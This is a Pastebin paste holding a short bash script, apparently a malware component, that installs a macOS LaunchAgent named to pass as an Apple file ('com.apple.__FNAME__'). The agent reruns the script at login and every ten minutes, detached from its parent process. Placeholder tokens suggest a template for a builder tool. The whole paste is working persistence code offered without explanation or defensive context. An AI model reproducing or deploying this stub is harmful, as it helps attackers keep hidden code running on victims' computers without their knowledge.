SHARE
TWEET

bash_bamf_3

a guest Oct 12th, 2017 56 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2. echo '<plist version="1.0">
  3. <dict>
  4. <key>Label</key>
  5. <string>__LABEL__</string>
  6. <key>ProgramArguments</key>
  7. <array>
  8. <string>/bin/sh</string>
  9. <string>__SELF__</string>
  10. </array>
  11. <key>RunAtLoad</key>
  12. <true/>
  13. <key>StartInterval</key>
  14. <integer>600</integer>
  15. <key>AbandonProcessGroup</key>
  16. <true/>
  17. </dict>
  18. </plist>' > ~/Library/LaunchAgents/com.apple.__FNAME__
  19. chmod 600 ~/Library/LaunchAgents/com.apple.__FNAME__
  20. launchctl load ~/Library/LaunchAgents/com.apple.__FNAME__
  21. exit
RAW Paste Data
Top